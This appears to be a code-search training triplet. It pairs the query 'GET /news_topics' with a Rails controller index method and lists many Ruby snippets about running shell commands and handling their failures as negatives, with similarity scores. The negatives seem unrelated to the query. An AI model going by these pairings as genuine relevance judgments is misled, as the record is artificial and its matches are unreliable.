{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fails?(command)\n !succeeds?(command)\n end", "def test_command_failed\n assert_raise(Report::CommandFailed) { @report.run('nosuch') }\n assert_raise(Report::CommandFailed) { @report.run('cat', 'nosuch') }\n end", "def systemOrDie(*cmd)\n puts 'executes: ' + cmd.join(' ')\n ret = system(*cmd)\n raise \"Failed to execute command: \" + cmd.join(' ') if !ret\n end", "def process; raise CommandError, \"command '#{command_name}' not implemented\" end", "def test_error\n cmd=nil\n assert(cmd=ShellCommand.new(:cmd=>\"cd /missing\"))\n assert(!cmd.run?)\n assert(!cmd.success?)\n assert(cmd.run)\n assert(cmd.run?)\n assert(!cmd.success?)\n assert_equal(:error,cmd.status)\n end", "def run_cmd_no_exception(cmd)\n #TODO: find a better way to handle command with errors\n begin\n result = Puppet::Util::Execution.execute([cmd], {:combine => true})\n rescue\n result\n end\n end", "def run_cmd_no_exception(cmd)\n #TODO: find a better way to handle command with errors\n begin\n result = Puppet::Util::Execution.execute([cmd], {:combine => true})\n rescue\n result\n end\n end", "def run_or_fail(cmd, redact: nil)\n put_command(cmd, redact: redact)\n Open3.popen3(*cmd) do |i, o, e, t|\n i.close\n if not t.value.success?\n STDERR.write red_term_text(e.read)\n exit t.value.exitstatus\n end\n end\n end", "def process_with_graceful_fail(cmd, options, *klass); end", "def run_command(command, options = {})\n status = run(command, options)\n fail \"#{command} failed\" unless status\nend", "def run_command(command, options = {})\n status = run(command, options)\n fail \"#{command} failed\" unless status\nend", "def run_failed_command(broker, targets, command, **kwargs, &block)\n run_command(broker, targets, command) do |response_dataset|\n ensure_failed(broker, targets, response_dataset, **kwargs, &block)\n end\nend", "def system_check(cmd)\n success = system cmd\n raise \"Error running '#{cmd}'\" unless success \nend", "def process_command_safely(val)\n process_command(val)\n rescue CommandError,\n Pry::Slop::InvalidOptionError,\n MethodSource::SourceNotFoundError => e\n Pry.last_internal_error = e\n output.puts \"Error: #{e.message}\"\n true\n end", "def system!(cmd)\n unless system(cmd)\n raise <<-SYSTEM_CALL_FAILED\nThe following command failed:\n #{cmd}\nSYSTEM_CALL_FAILED\n end\nend", "def error(msg)\n raise CmdFailedError.new(msg)\n end", "def test_missing_command\n ChildProcess.exec({}, 'nosuch') do |child|\n assert !child.wait.success?\n end\n end", "def run_cmd(cmd)\n puts blue(cmd)\n raise unless system cmd\n end", "def execute_cmd!(cmd, timeout = new_resource.cmd_timeout)\n cmd = execute_cmd(cmd, timeout)\n cmd.error!\n cmd\n end", "def execute_cmd!(cmd, timeout = new_resource.cmd_timeout)\n cmd = execute_cmd(cmd, timeout)\n cmd.error!\n cmd\n end", "def cmd!(cmd, options={})\r\n fail\r\n end", "def execute_with_fail(typename, cmd, way)\n executor = proc { |compiled| execute(compiled) }\n @execlogic.execute_with_fail(typename, cmd, way, executor)\n end", "def run_with_failure_handler(command, action_name)\n base.say_status action_name.downcase, ''\n stdout, stderr, exit_code, exit_status = base.exec(command, :with_codes => true)\n \n if exit_code != 0\n base.say_status :error, \"Unable to #{action_name}, see output below\", :red\n puts stdout\n puts stderr\n \n raise \"Unable to configure #{action_name}\"\n end\n end", "def test_missing_cmd\n assert_raises(ParameterException){ShellCommand.new(:working_directory=>\"missing/\")}\n end", "def system_check(cmd)\n puts \"=> '#{cmd}'\"\n success = system cmd\n raise \"Error running '#{cmd}'\" unless success \nend", "def cmd_succeeds(cmd)\n system_cmd(cmd).should be true\n end", "def execute_command!(*argv)\n execute_command(argv)\n raise Error.new(\"Command failed!\") unless $?.success?\n end", "def run_errored_command(broker, targets, command)\n run_command(broker, targets, command,\n blocking_request: true,\n expected_response_type: \"http://puppetlabs.com/rpc_error_message\") do |response_dataset|\n response_dataset.each { |data| yield data['description'] } if block_given?\n end\nend", "def process_commands!(*cmds)\n result = process_commands(*cmds)\n raise CommandError, \"Expected #{SUCCESS}, received #{result}\" unless result == SUCCESS\n result\n end", "def succeeds?(command)\n system(\"#{command} > /dev/null 2> /dev/null\")\n $? == 0\n end", "def command(command)\n transport.command(command) do |out|\n if out =~ %r{^%}mo || out =~ %r{^Command rejected:}mo\n # strip off the command just sent\n error = out.sub(command, '')\n Puppet.err _(\"Error while executing '%{command}', device returned: %{error}\") % { command: command, error: error }\n end\n end\n end", "def erroneous_result(cmd, exception)\n stdout = nil\n stderr = ([exception.message] + exception.backtrace).join(\"\\n\")\n status = 1\n rspec_example_metadata(cmd, stdout, stderr)\n CommandResult.new(stdout: stdout, stderr: stderr, exit_status: status)\n end", "def run(cmd)\n result = super(cmd)\n if result.error?\n display \"FAILURE\"\n display result.error\n remove_livedev_run_file\n exit 1\n end\n end", "def execute_with_exit(command) # rubocop:disable Lint/UnusedMethodArgument\n end", "def command_safe(debug, cmd = :command, *args)\n # send is internal ruby method to call 'cmd' with *args\n #(everything is a message, so this is just the formal semantics to support that idiom)\n translate_bigdb_exceptions(*args) { send(cmd,*args) }\n rescue => e\n rootCause = e\n while rootCause != nil && rootCause.respond_to?(:cause) && rootCause.cause != nil\n rootCause = rootCause.cause\n end\n puts\n puts \"ERROR: #{rootCause}\"\n puts \"Backtrace: #{rootCause.backtrace.join(\"\\n \")}\" if debug\n puts\n puts \"Here is some help for this command:\"\n puts help\n puts\n end", "def exception(command, exception)\n end", "def sh(cmd)\n output = `#{cmd}`\n if !$?.success?\n puts \"Command exited with failure code: #{cmd}\"\n puts \"Aborting.\"\n exit(1)\n end\n output\nend", "def run\n raise \"`#{ real_command }' failed\" unless Kernel.system( real_command )\n end", "def fail(msg)\n $stderr.puts msg\n Kernel.exit 1\nend", "def error_and_exit(msg = nil)\n CE.fg(:yellow)\n puts 'Invalid command error.'\n CE.fg(:red)\n puts \" [Error] #{msg}\" if msg\n CE.fg(:yellow)\n puts \" your command : bucky #{ARGV.join(' ')}\"\n puts ' Please input some commands.'\n puts \" e.g. bucky #{NEW_COMMAND.join(' ')}\"\n puts \" bucky #{RUN_COMMAND.join(' ')}\"\n puts \" bucky #{MAKE_SERVICE_COMMAND.join(' ')}\"\n puts \" bucky #{MAKE_PAGE_COMMAND.join(' ')}\"\n puts \" bucky #{RERUN_COMMAND.join(' ')}\"\n puts \" bucky #{LINT_COMMAND.join(' ')}\"\n exit\nend", "def run_command(*command)\n print_command command\n result = system *command\n if result.nil?\n puts \"Failed to run command.\"\n exit 255\n elsif !result\n exit $?.exitstatus\n end\nend", "def command( cmd )\r\n ## note: for now use Kernel#system for calling external git command\r\n ##\r\n\r\n cmdline = \"git #{cmd}\"\r\n puts \" trying >#{cmdline}< in (#{Dir.pwd})...\"\r\n \r\n result = nil\r\n result = system( cmdline )\r\n\r\n pp result\r\n\r\n # note: Kernel#system returns\r\n # - true if the command gives zero exit status\r\n # - false for non zero exit status\r\n # - nil if command execution fails\r\n # An error status is available in $?.\r\n\r\n if result.nil?\r\n puts \"*** error was #{$?}\"\r\n fail \"[Kernel.system] command execution failed >#{cmdline}< - #{$?}\" \r\n elsif result ## true => zero exit code (OK)\r\n puts 'OK' ## zero exit; assume OK\r\n true ## assume ok\r\n else ## false => non-zero exit code (ERR/NOK)\r\n puts \"*** error: non-zero exit - #{$?} !!\" ## non-zero exit (e.g. 1,2,3,etc.); assume error\r\n \r\n ## log error for now ???\r\n # File.open( './errors.log', 'a' ) do |f|\r\n # f.write \"#{Time.now} -- repo #{@owner}/#{@name} - command execution failed - non-zero exit\\n\"\r\n # end\r\n raise GitError.new( \"command execution failed >#{cmdline}< - non-zero exit (#{$?})\" )\r\n end\r\n end", "def run_with_err_output(command)\n %x{ #{command} 2>&1 }\n end", "def run_with_err_output(command)\n %x{ #{command} 2>&1 }\n end", "def run_with_err_output(command)\n %x{ #{command} 2>&1 }\n end", "def run_with_err_output(command)\n %x{ #{command} 2>&1 }\n end", "def try_to_run(command, verbose = false)\n r = system \"#{command}\";\n return r if r;\n $stderr.puts \"Process '#{command}' exited with #{$?.exitstatus}\"\n exit ($?.exitstatus)\nend", "def execute_with_fail(typename, cmd, way, resource)\n executor_proc = proc { |compiled| wrap_execution(compiled, resource) }\n @execlogic.execute_with_fail(typename, cmd, way, executor_proc)\n end", "def run_sh(cmd)\n sh cmd\nrescue StandardError\n # ignored\nend", "def optest_command_error(line)\n print \"\\nTesting Operator Command Error: #{line}\\n\"\n args = line.split(/ /)\n result = TabulatorOperator.new.operator_command(args)\n assert((result =~ /^Command*/), \"Expected Command error: #{result}\")\n end", "def handle_missing_command( command )\n\t\terror_message \"#$0: #{command}: command not found\"\n\tend", "def fail\n # no-op\n end", "def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end", "def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end", "def test_outputonfailure\n provider = newprovider\n\n dir = tstdir\n file = File.join(dir, \"mycmd\")\n sh = Puppet::Util.which(\"sh\")\n File.open(file, \"w\") { |f|\n f.puts %{#!#{sh}\n echo A Failure >&2\n exit 2\n }\n }\n File.chmod(0755, file)\n\n provider.commands :cmd => file\n\n inst = provider.new(nil)\n\n assert_raise(Puppet::ExecutionFailure) do\n inst.cmd \"some\", \"arguments\"\n end\n\n out = nil\n begin\n inst.cmd \"some\", \"arguments\"\n rescue Puppet::ExecutionFailure => detail\n out = detail.to_s\n end\n\n\n assert(\n out =~ /A Failure/,\n\n \"Did not receive command output on failure\")\n\n\n assert(\n out =~ /Execution of/,\n\n \"Did not receive info wrapper on failure\")\n end", "def run_command_and_stop(cmd, opts = {})\n fail_on_error = if opts.key?(:fail_on_error)\n opts.delete(:fail_on_error) == true\n else\n true\n end\n\n command = prepare_command(cmd, opts)\n start_command(command)\n command.stop\n\n return unless fail_on_error\n\n begin\n expect(command).to have_finished_in_time\n expect(command).to be_successfully_executed\n rescue ::RSpec::Expectations::ExpectationNotMetError => e\n aruba.announcer.activate(aruba.config.activate_announcer_on_command_failure)\n aruba.event_bus.notify Events::CommandStopped.new(command)\n raise e\n end\n end", "def invalid_command\n # code invalid_command here\n puts \"Please enter a valid command\"\nend", "def cleanup\n options = []\n options += ['-q', '--no-verbose'] unless Kontena.debug?\n command.handle_options options\n command.execute\n true\n rescue Gem::SystemExitException => e\n raise unless e.exit_code.zero?\n true\n end", "def invalid_command\n puts \"Please enter a valid command\"\n #invalid_command\n # code invalid_command here\nend", "def unknown_command\n $stderr.puts \"No task named #{@command.inspect}\"\n exit(1)\n end", "def execute_error(send, line)\n # Send the exit command if that hasn't already happened\n if not @exit_sent\n send.call([{:exit => {:successful => false}}])\n @exit_sent = true\n end\n\n # Output the error line\n return error_line(line)\n end", "def do_failure; end", "def assert_exits(command = nil)\n assert_raises SystemExit do\n if command\n command.run\n else\n yield\n end\n end\n end", "def failure?; terminal_flag == :failure end", "def failure?; terminal_flag == :failure end", "def run_cmd cmd\n info cmd\n status = system(cmd)\n if status\n info(\"Woot! Woot! - command succeeded #{cmd}\")\n else\n error(\"Gahhhh! Bad status from #{cmd}\")\n end\n status\n end", "def stderr(command, data)\n # called when the process writes to STDERR\n end", "def assert_invalid_id(command)\n out, err = capture_io do\n assert_raises(SystemExit) { wf.new(\"#{cmd_word} #{command}\".split) }\n end\n\n assert_empty(out)\n assert_match(/is not a valid [\\w ]+ ID.$/, err)\n end", "def check_exit_code!(executable, command, output)\n if $?.exitstatus != 0\n raise DownloaderError, \"Error on `#{executable} #{command}`.\\n#{output}\"\n end\n end", "def cli_command(argv, expectation)\n begin\n Bebox::Cli.new(argv)\n rescue SystemExit => e\n if expectation == :success\n expect([0, 1]).to include(e.status)\n else\n expect([0, 1]).to_not include(e.status)\n end\n end\nend", "def run_and_examine(command)\n response = IO.popen(command).readlines\n response.each { |response_line| @errors << response_line if response_line =~ /Error/i }\n puts \">#{command}\\n#{response.join}\" if $verbose || (@errors.size > 0)\n @errors.size == 0\n end", "def failure?\n exit_code != 0\n end", "def handle_errors(output)\n if $? != 0\n puts output\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n puts \"~ FATAL: Command failed with status #{$?}\"\n exit 1\n end\nend", "def fail(msg)\n $stderr.puts(msg)\n exit(1)\nend", "def _entry_2_invalidcommand(*args)\n\n end", "def test_operator_command_errors\n optest_command_ok(\"reset\")\n optest_command_error(\"foo\")\n optest_command_error(\"foo blah blah\")\n optest_command_error(\"reset blah blah\")\n optest_command_error(\"data blah blah\")\n optest_command_error(\"state blah blah\")\n optest_command_error(\"total blah blah\")\n optest_command_error(\"help blah blah\")\n optest_command_error(\"load\")\n optest_command_error(\"load blah\")\n optest_command_error(\"load blah OK blah\")\n optest_command_error(\"add\")\n optest_command_error(\"add blah blah\")\n optest_command_error(\"check blah blah\")\n optest_command_error(\"data\")\n optest_command_error(\"total\")\n optest_command_error(\"check\")\n optest_command_ok(\"reset\")\n optest_command_error(\"add data/Tests/Default/JD.yml\")\n optest_command_ok(\"load data/Tests/Default/JD.yml data/Tests/Default/ED.yml OK\")\n optest_command_ok(\"check\")\n optest_command_error(\"load data/Tests/Default/JD.yml data/Tests/Default/ED.yml OK\")\n end", "def exec_sys_cmd(cmd)\n log.debug(\">> #{cmd}\")\n output = %x{#{cmd} 2>&1}\n raise CommandError, \"#{cmd} failed, #{$?.describe}, #{output.strip}\" unless $?.success?\n end", "def process_unknown_reply_command(line, check, severity, cmd_string)\n @@log.warn {\"Command not found: '#{line}'.\"}\n end", "def test(command, opts=nil)\n # Disable error checking no matter what\n opts = (opts || {}).merge(:error_check => false)\n\n # Successful if the exit status is 0\n execute(command, opts) == 0\n end", "def _entry_1_invalidcommand(*args)\n\n end", "def _entry_1_invalidcommand(*args)\n\n end", "def fail(msg)\n if Dotgpg.interactive?\n $stderr.puts msg\n exit 1\n else\n raise Dotgpg::Failure, msg, caller[1]\n end\n end", "def _entry_6_invalidcommand(*args)\n\n end", "def run_with_stderr(*cmd)\n result = IO.popen(cmd, err: [:child, :out]) do |io|\n block_given? ? yield(io) : io.read\n end\n String === result && result.empty? ? nil : result\n end", "def syntax_check_fail(send, line)\n # Send the exit command if that hasn't already happened\n if not @exit_sent\n send.call([{:exit => {:successful => false}}])\n @exit_sent = true\n end\n\n # Output the error line\n return error_line(line)\n end", "def sys cmd\n puts cmd\n system cmd\n raise \"Running '#{cmd}' failed\" if $? != 0\nend", "def run_command!(name, *args)\n run_command(name, *args) rescue nil\n end", "def process\n raise CommandError, \"command '#{command_name}' not implemented\"\n end", "def _entry_4_invalidcommand(*args)\n\n end", "def test_non_null_exit_ignored\n run = Cute::Execute[\"ls\",\"/zoefkzoifjauifhiagier\"].run!()\n assert_nothing_raised do\n run.wait({})\n end\n assert_equal(2,run.status.exitstatus)\n end", "def run(command,exit_on_error_with)\n info \"Running '#{command}'\"\n stdout_str, stderr_str, status = Open3.capture3(command)\n\n info stdout_str\n unless status.success?\n error stderr_str\n exit_now!(exit_on_error_with, \"There was a problem running '#{command}'\")\n end\nend", "def system!(cmd)\n unless system(cmd)\n raise <<-SYSTEM_CALL_FAILED\n The following command failed:\n #{cmd}\n\n This could be caused by a PATH issue in the environment of Ruby.\n Your current PATH:\n #{ENV['PATH']}\nSYSTEM_CALL_FAILED\n end\n end", "def run_npm_command(cmd, error_message)\n\n puts \" -- Running command '#{cmd}'...\"\n out, status = Open3.capture2e(\"#{cmd}\")\n Kernel.abort(\"#{error_message}: #{out}\") unless status.success?\nend", "def command_safe(debug, cmd = :command, *args)\n # Commands can overwrite start_time to skip time used in some kind of setup.\n # See count.rb for example.\n @start_time = Time.now\n # send is internal ruby method to call 'cmd' with *args\n # (everything is a message, so this is just the formal semantics to support that idiom)\n translate_hbase_exceptions(*args) { send(cmd, *args) }\n rescue => e\n rootCause = e\n\n # JRuby9000 made RubyException respond to cause, ignore it for back compat\n while !rootCause.is_a?(Exception) && rootCause.respond_to?(:cause) && !rootCause.cause.nil?\n rootCause = rootCause.cause\n end\n if @shell.interactive?\n puts\n puts \"ERROR: #{rootCause}\"\n puts \"Backtrace: #{rootCause.backtrace.join(\"\\n \")}\" if debug\n puts\n puts \"For usage try 'help \\\"#{command_name}\\\"'\"\n puts\n else\n raise rootCause\n end\n ensure\n # If end_time is not already set by the command, use current time.\n @end_time ||= Time.now\n formatter.output_str(format('Took %.4f seconds', @end_time - @start_time))\n end", "def command(cmd)\n Open3.popen3(cmd) do |stdin, stdout, stderr|\n errors = stderr.readlines\n abort \"%s\\n%s\" % [cmd, errors.join] if errors.any?\n\n yield stdin, stdout if block_given?\n end\n end", "def run_local(cmd)\n require 'English'\n\n system cmd\n return unless $CHILD_STATUS.exitstatus != 0\n\n puts 'exit code: ' + $CHILD_STATUS.exitstatus.to_s\n abort('Shell command failed, assuming you want to abort'.foreground(:red))\nend", "def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($?.exitstatus.zero?)\nend", "def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($?.exitstatus.zero?)\nend" ]
[ "0.7749971", "0.7313537", "0.72639406", "0.7169728", "0.7165012", "0.71015656", "0.71015656", "0.70755875", "0.70400465", "0.7017292", "0.7017292", "0.6931168", "0.68997175", "0.6884572", "0.68222016", "0.6814395", "0.6744312", "0.6707489", "0.665084", "0.665084", "0.66241837", "0.6606241", "0.6604471", "0.6602397", "0.65960747", "0.65832585", "0.65761447", "0.65662545", "0.65408665", "0.649956", "0.645228", "0.6425554", "0.6417167", "0.64142585", "0.63872266", "0.63636744", "0.63547724", "0.63541126", "0.6334527", "0.633129", "0.6295697", "0.62793857", "0.6269561", "0.6269561", "0.6269561", "0.6269561", "0.6251431", "0.62502027", "0.62460756", "0.62344986", "0.62232834", "0.6215616", "0.6205172", "0.6205172", "0.6190297", "0.6186943", "0.6184721", "0.617003", "0.61688584", "0.6157998", "0.61565095", "0.61548835", "0.615336", "0.6151577", "0.6151577", "0.61381614", "0.6130497", "0.6129939", "0.6126065", "0.6124702", "0.61209583", "0.60981685", "0.60971165", "0.6086085", "0.6084268", "0.60755384", "0.6067496", "0.60596853", "0.60491", "0.60439706", "0.60439706", "0.604319", "0.604253", "0.6036036", "0.6035309", "0.6034818", "0.6034645", "0.6026009", "0.60257626", "0.6024082", "0.60181254", "0.60166115", "0.6011589", "0.60070896", "0.6004973", "0.60019344", "0.60012937", "0.60012937" ]
0.72440755
5
Provides an easy way to safely get a new instance of the change set persister with different initialization parameters. If passed a block it will yield the new adapter.
def with(metadata_adapter: self.metadata_adapter, storage_adapter: self.storage_adapter) new_adapter = self.class.new(metadata_adapter: metadata_adapter, storage_adapter: storage_adapter, transaction: true, characterize: @characterize, queue: queue, handlers: handlers) return new_adapter unless block_given? yield new_adapter end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def change_set_persister\n @change_set_persister ||= ChangeSetPersister.new(\n metadata_adapter: metadata_adapter,\n storage_adapter: storage_adapter\n )\n end", "def change_set_persister\n ChangeSetPersister.new(\n metadata_adapter: Valkyrie::MetadataAdapter.find(:indexing_persister),\n storage_adapter: Valkyrie::StorageAdapter.find(:disk_via_copy)\n )\n end", "def change_set_persister\n ChangeSetPersister.new(metadata_adapter: Valkyrie.config.metadata_adapter, storage_adapter: Valkyrie.config.storage_adapter)\n end", "def initialize(&block)\n configure(&block) if block_given?\n end", "def initialize\n set_default_as_provider\n yield self if block_given?\n end", "def alter(&block)\n dup.tap { |o| o.instance_eval(&block) }\n end", "def populate &block\n instance_eval(&block)\n self\n end", "def define &block\n new block\n end", "def setup &block\n block.try(:call, self)\n end", "def initialize(values = {}, from_db = false, &block)\n @associations = {}\n @changed_columns = []\n if from_db\n @new = false\n @values = values\n else\n @values = {}\n @new = true\n set(values)\n @changed_columns.clear \n yield self if block\n end\n after_initialize\n end", "def store options = {}, &block\n @store ||= store_clazz.new\n @store.adapter_class ||= default_adapter_class\n @store.default_options = options\n yield @store if block_given?\n @store\n end", "def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end", "def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end", "def initialize(&block)\n instance_eval(&block) if block_given?\n end", "def mapper(&block)\n syncer = HALSyncer.new\n syncer.instance_exec(&block)\n\n @mapper = syncer.to_mapper\n end", "def persistence_wrapper\n yield\n end", "def set(opts={})\n if block_given?\n old_opts = $opts.dup\n $opts.merge! opts\n yield\n $opts.merge! old_opts\n else\n $opts.merge! opts\n end\nend", "def mapper(&block)\n @mapper = DSL::Mapper.new\n @mapper.instance_exec(&block)\n end", "def change_set_persister\n ChangeSetPersister.new(\n metadata_adapter: Valkyrie::MetadataAdapter.find(:indexing_persister),\n storage_adapter: Valkyrie.config.storage_adapter\n )\n end", "def init(&block)\n @inits << block\n end", "def init(&block)\n @inits << block\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize(&block)\n instance_eval(&block) if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield( self ) if block_given? # allow setup with code block\n end", "def set(&block)\n @set = block\n end", "def set(&block)\n @set = block\n end", "def initialize(&block)\r\n yield(self) if block_given? \r\n end", "def initialize(&block)\n yield self\n end", "def setup &block\n if @setup_block\n setup_block = @setup_block\n exec_setup_block = method(:exec_setup_block)\n @setup_block = lambda do |attributes, options, backend_class|\n [setup_block, block].each do |blk|\n exec_setup_block.call(self, attributes, options, backend_class, &blk)\n end\n end\n else\n @setup_block = block\n end\n end", "def initialize(&block)\n @block = block\n end", "def initialize(&block)\n @block = block\n end", "def configure\n yield(self) if block_given?\n end", "def initialize(&block)\n @block = block\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize\n yield self if block_given?\n end", "def initialize(&block)\n load_defaults!\n\n @only_collections ||= Array.new\n @additional_options ||= Array.new\n @ipv6 ||= false\n @lock ||= false\n\n instance_eval(&block)\n prepare!\n end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def from_block\n options = new\n dsl = ExecutionOptionsDSL.new(options)\n yield dsl\n options\n end", "def setup(&block)\n yield self if block_given?\n end", "def initialize(&block)\n yield self\n end", "def configure\n yield self if block_given?\n self\n end", "def initialize(options = {}, &block)\n\t\t \n\t\t\tyield self unless block == nil\n\t\tend", "def initialize(*)\n super\n yield self if block_given?\n end", "def configure(&block)\n block.call(self) if block_given?\n return self if valid?\n end", "def initialize(&block)\n instance_exec(&block) if block_given?\n end", "def configure\n yield self if block_given?\n end", "def configure\n yield self if block_given?\n end", "def configure\n yield self if block_given?\n end", "def alter_table_generator(&block)\n alter_table_generator_class.new(self, &block)\n end", "def initialize(_options = {}, &block)\n yield self unless block.nil?\n end", "def post_init_block(&block)\n with(&block)\n end", "def configure(&block)\n self.instance_eval(&block) if block_given?\n end", "def self \n if block_given?\n yield self\n else\n self\n end", "def alter(&blk)\n dup.tap { |o| o.instance_eval(&blk) }\n end", "def use!( opts )\n original = @defaults\n @defaults = opts\n\n if block_given?\n begin\n yield self\n ensure\n use! original\n end\n end\n\n return original\n end", "def setup(&block)\n settings.instance_eval(&block) if block_given?\n end", "def mapper(&block)\n syncer = HALSyncer.new\n syncer.instance_exec(&block)\n\n mapper = syncer.to_mapper\n\n @mapper = Mappers::ArrayMapper.new(mapper)\n end", "def configure(&blk)\n @blk = blk if block_given?\n self\n end", "def persist_block(blk)\n raise \"Not implemented\"\n end", "def create_syncer\n if @get || @set\n accessor = BlockAccessor.new(@get, @set)\n elsif @accessor\n accessor = @accessor\n else\n raise Exception.new(\"You have to define an accessor\")\n end\n\n if @validator\n mapper = Mappers::ValidatedMapper.new(\n @mapper,\n Validators::IdentityValidator.new,\n @validator\n )\n else\n mapper = @mapper\n end\n\n mapper = Mappers::SinkingMapper.new(mapper, [@name])\n\n args = {\n source_accessor: accessor,\n mapper: mapper,\n target_accessor: Accessors::HashKeyAccessor.new(@name)\n }\n\n Syncers::CompositeSyncer.new(**args)\n end", "def initialize\n yield self if block_given?\n\n @management_endpoint ||= DEFAULT_MANAGEMENT_ENDPOINT\n @source ||= 'ruby'\n @default ||= false\n @environment_name ||= 'AzureCloud'\n end", "def setup(&block)\n if block\n @setup = block\n else\n @setup\n end\n end", "def with_migration(&block)\n migration_class = ActiveRecord::Migration[\n ActiveRecord::Migration.current_version\n ]\n\n Class.new(migration_class, &block).new\nend", "def setup(&block)\n passed_through_setup = self.setup_chained\n self.setup_chained = lambda { instance_eval(&passed_through_setup);instance_eval(&block) }\n define_method :setup, &self.setup_chained\n end", "def initialize(&block)\n load_defaults!\n\n instance_eval(&block) if block_given?\n\n set_defaults!\n end", "def make_block args\n raise ArgumentError, \"args does not have :sample_rate key\" unless args.has_key?(:sample_rate)\n \n klass = find_class(@class_sym)\n block = klass.new :sample_rate => args[:sample_rate]\n block.restore_state self\n \n return block\n end", "def compile_time_parameter_setter(&block)\n if(block)\n @compile_time_parameter_setter = block\n else\n if(@compile_time_parameter_setter)\n @compile_time_parameter_setter\n else\n parent.nil? ? nil : parent.compile_time_parameter_setter\n end\n end\n end", "def post_init_block(&block)\n raise ArgumentError, \"does not accept a block\"\n end", "def configure(&block)\n instance_eval(&block)\n end", "def configure(&block)\n instance_eval(&block)\n end", "def create_block_object(&block)\n block\nend", "def configure(&block)\n default_values!\n yield self\n end", "def define( opts = {}, &block )\n sync do\n set_schema( new( opts ).define( &block ) )\n end\n end", "def define_set_and_get_method(name, &block)\n define_instance_dsl_method \"#{name}\" do |value = ''|\n if value == ''\n instance_eval(&block)\n else\n instance_variable_set(\"@#{name}\".to_sym, value)\n end\n end\n end", "def settings(&block)\n if block\n @settings_block = block\n elsif @settings_block\n @settings = Settings::DSL.new(identifier, &@settings_block).call\n else\n @settings\n end\n end", "def dm\n yield if block_given? && dm?\n end", "def sync_with(syncer, &block)\n @syncers << Backup::Syncer.const_get(\n last_constant(syncer)\n ).new(&block)\n end", "def initialize_from_builder(&block)\n builder = Class.new(Builder)\n builder.setup\n \n builder.instance_eval &block\n \n unless @model.descends_from_active_record?\n stored_class = @model.store_full_sti_class ? @model.name : @model.name.demodulize\n builder.where(\"#{@model.quoted_table_name}.#{quote_column(@model.inheritance_column)} = '#{stored_class}'\")\n end\n\n @fields = builder.fields\n @attributes = builder.attributes\n @conditions = builder.conditions\n @groupings = builder.groupings\n @delta_object = ThinkingSphinx::Deltas.parse self, builder.properties\n @options = builder.properties\n \n # We want to make sure that if the database doesn't exist, then Thinking\n # Sphinx doesn't mind when running non-TS tasks (like db:create, db:drop\n # and db:migrate). It's a bit hacky, but I can't think of a better way.\n rescue StandardError => err\n case err.class.name\n when \"Mysql::Error\", \"ActiveRecord::StatementInvalid\"\n return\n else\n raise err\n end\n end", "def configure\n yield self if block_given?\n end", "def setup(&block)\n block ? @setup << block : @setup\n end", "def configure(&block)\n self.instance_eval(&block)\n end", "def construct( &block )\n self.instance_eval(&block)\n @options\n end", "def initialize(&block)\n @rules = Sawtooth::Rules::Set.new\n self.instance_eval(&block) if block_given?\n end", "def configure(&block)\n yield(self)\n end", "def configure(&block)\n yield(self)\n end", "def configure\n yield configuration if block_given?\n end", "def initialize (&block)\n instance_exec(&block)\n end", "def initialize(attribs={})\n @new_record = true \n \n initialize_internals\n initialize_attributes\n update_attributes(attribs)\n yield self if block_given?\n end", "def initialize(values = {})\n @values = {}\n @new = true\n @modified = true\n initialize_set(values)\n changed_columns.clear \n yield self if block_given?\n end", "def initialize(values = {})\n @values = {}\n @new = true\n @modified = true\n initialize_set(values)\n changed_columns.clear \n yield self if block_given?\n end", "def to_generate_rgeo_factory(&block)\n rgeo_factory_settings.set_factory_generator(table_name, block)\n end", "def initialize &blk\n @writers = []\n instance_exec &blk if block_given?\n end", "def configure &block\n\t\tinstance_eval &block\n\tend" ]
[ "0.6424072", "0.61457366", "0.6041625", "0.5727419", "0.57272786", "0.57213545", "0.5609853", "0.5563403", "0.5532884", "0.55009294", "0.548743", "0.5486624", "0.5486624", "0.546452", "0.5454907", "0.5445493", "0.5434343", "0.54263735", "0.5423923", "0.5423426", "0.5423426", "0.54172987", "0.54172987", "0.54172987", "0.54172987", "0.5413354", "0.5390262", "0.5390262", "0.5383706", "0.5362109", "0.5362109", "0.5357292", "0.5357223", "0.5353467", "0.5351163", "0.5351163", "0.5334855", "0.5332263", "0.5326053", "0.5326053", "0.5326053", "0.5326053", "0.53208864", "0.531545", "0.5310006", "0.53074646", "0.5304322", "0.529564", "0.5287856", "0.52812475", "0.5267697", "0.52625734", "0.52465284", "0.52465284", "0.52465284", "0.52122986", "0.52109456", "0.5199135", "0.5187605", "0.5163388", "0.51621145", "0.51546913", "0.51485556", "0.5145409", "0.51397866", "0.5136494", "0.51234466", "0.51123655", "0.5103524", "0.50940037", "0.5092777", "0.50918025", "0.5085285", "0.5076415", "0.50708514", "0.5065559", "0.5065559", "0.50644046", "0.5059929", "0.50592303", "0.5059097", "0.5057048", "0.5054719", "0.504657", "0.5043942", "0.5040589", "0.5038752", "0.50376457", "0.5033828", "0.5030541", "0.5028538", "0.5028538", "0.50176525", "0.50167114", "0.50133604", "0.50023377", "0.50023377", "0.49871585", "0.49833336", "0.4980114" ]
0.5819403
3
GET /news_topics GET /news_topics.json
def index @news_main_topics = NewsTopic.includes(:creator).order('id DESC').limit(10) @top_news = NewsTopic.top_news.order('id DESC').limit(10) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
